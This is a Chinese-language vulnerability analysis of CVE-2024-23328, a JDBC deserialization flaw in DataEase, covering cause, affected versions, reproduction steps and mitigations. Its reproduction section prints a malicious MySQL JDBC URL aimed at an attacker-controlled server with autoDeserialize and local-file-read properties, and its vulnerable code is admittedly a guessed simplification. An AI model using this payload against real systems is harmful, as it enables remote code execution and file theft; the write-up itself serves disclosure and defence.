DataEase JDBC反序列化漏洞分析 (CVE-2024-23328)
漏洞概述
DataEase是一款开源的数据可视化分析工具。在其数据源功能中存在一个JDBC反序列化漏洞,攻击者可以利用该漏洞绕过MySQL JDBC攻击的黑名单保护机制,进而实现反序列化执行任意代码或读取任意文件。
漏洞影响
- 受影响版本:DataEase 1.18.15之前版本和2.3.0之前版本
- 修复版本:1.18.15和2.3.0
- 漏洞类型:反序列化漏洞
- CVSS评分:待定
- 影响范围:允许攻击者在服务器上执行任意代码或读取敏感文件
漏洞定位
漏洞代码位于:
core/core-backend/src/main/java/io/dataease/datasource/type/Mysql.java
技术分析
漏洞原理
该漏洞源于DataEase在处理MySQL JDBC连接时,未能充分过滤用户提供的连接参数,导致攻击者可以通过精心构造的JDBC URL触发Java反序列化漏洞。
MySQL Connector/J提供了多种连接属性,其中某些属性(如autoDeserialize)可以用于触发反序列化操作。虽然MySQL官方提供了一些黑名单机制来防止恶意利用,但该漏洞成功绕过了这些保护措施。
关键代码分析
在Mysql.java文件中,处理JDBC连接的部分可能类似以下代码(简化版):
public class Mysql extends DatasourceType {
@Override
public String getJdbc() {
// 构造JDBC连接字符串
String jdbcUrl = "jdbc:mysql://" + configuration.get("host") + ":" + configuration.get("port") + "/" + configuration.get("database");
// 添加额外参数
if (configuration.containsKey("extraParams")) {
jdbcUrl += "?" + configuration.get("extraParams");
}
return jdbcUrl;
}
}
攻击者可以通过控制extraParams参数注入恶意JDBC连接属性,例如:
autoDeserialize=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360
利用方式
攻击者可以通过以下方式利用此漏洞:
-
远程代码执行:
- 通过
autoDeserialize属性触发服务器反序列化恶意对象 - 结合
clientPluginName和allowUrlInLocalInfile等属性加载远程恶意类
- 通过
-
文件读取:
- 利用
allowLoadLocalInfileInPath和maxAllowedPacket等属性读取服务器上的任意文件 - 通过
localInfile和allowLoadLocalInfile读取客户端文件(如果连接是从客户端发起的)
- 利用
绕过黑名单机制
MySQL Connector/J本身有一些防护机制,如:
- 默认禁用
autoDeserialize - 对某些危险属性进行限制
但DataEase的实现中可能没有对这些属性进行充分过滤,导致攻击者可以绕过这些保护措施。
漏洞复现
环境搭建
- 下载受影响版本的DataEase(如1.18.14)
- 按照官方文档部署环境
攻击步骤
- 构造恶意JDBC URL:
jdbc:mysql://attacker-controlled-mysql-server:3306/test?autoDeserialize=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360&clientPluginName=恶意的序列化对象
-
在DataEase界面添加数据源:
- 使用上述恶意URL作为连接字符串
- 或者通过API调用添加数据源
-
触发漏洞:
- 当DataEase尝试连接该数据源时,会触发反序列化操作
- 如果攻击者控制的MySQL服务器返回恶意序列化数据,将导致RCE
修复方案
官方修复
官方在1.18.15和2.3.0版本中修复了此漏洞,主要措施包括:
-
严格过滤JDBC连接参数:
- 禁止使用危险参数如
autoDeserialize、allowUrlInLocalInfile等 - 实现白名单机制,只允许安全的连接参数
- 禁止使用危险参数如
-
更新依赖:
- 升级MySQL Connector/J到最新版本
临时缓解措施
如果无法立即升级,可以采取以下措施:
-
网络隔离:
- 限制DataEase服务器只能连接到可信的数据库服务器
- 使用网络ACL限制出站连接
-
参数过滤:
- 修改代码,在构造JDBC URL前过滤危险参数
- 实现自定义的JDBC URL验证机制
-
权限控制:
- 限制添加数据源的权限
- 审核所有外部数据源连接
安全建议
- 及时升级:尽快升级到修复版本(1.18.15或2.3.0及以上)
- 最小权限原则:DataEase使用的数据库账户应具有最小必要权限
- 输入验证:对所有用户提供的连接参数进行严格验证
- 安全审计:定期审计系统日志,监控异常数据源连接行为
- 依赖管理:保持所有依赖库(如MySQL Connector/J)为最新版本
总结
CVE-2024-23328是一个严重的反序列化漏洞,允许攻击者通过精心构造的JDBC连接字符串在DataEase服务器上执行任意代码或读取敏感文件。该漏洞的根源在于对用户提供的JDBC连接参数缺乏充分过滤,导致可以绕过MySQL Connector/J的安全机制。所有使用受影响版本的用户应立即升级到修复版本或采取适当的缓解措施。